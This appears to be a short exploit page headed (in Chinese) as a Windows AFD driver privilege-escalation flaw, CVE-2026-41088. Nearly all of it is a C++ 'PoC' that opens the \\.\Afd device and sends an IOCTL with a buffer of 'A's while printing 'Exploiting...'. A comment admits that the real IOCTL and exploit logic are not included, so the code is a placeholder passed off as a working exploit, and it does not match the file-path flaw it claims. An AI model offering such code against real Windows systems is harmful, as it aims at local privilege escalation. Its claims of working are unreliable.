CVE-2026-41088 Windows AFD驱动权限提升漏洞

#include <windows.h> #include <iostream> // PoC for CVE-2026-41088 // Vulnerability: External control of file name or path in AFD.sys // Impact: Local Privilege Escalation int main() { HANDLE hDevice; DWORD bytesReturned; char inputBuffer[0x1000]; // Target the AFD driver hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cout << "Failed to open device." << std::endl; return 1; } std::cout << "Device opened. Exploiting..." << std::endl; // Initialize buffer with payload memset(inputBuffer, 'A', sizeof(inputBuffer)); // Trigger the vulnerability via IOCTL // Note: Actual IOCTL code and exploit logic depend on patch diffing DeviceIoControl(hDevice, 0x000120C3, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL); CloseHandle(hDevice); return 0; }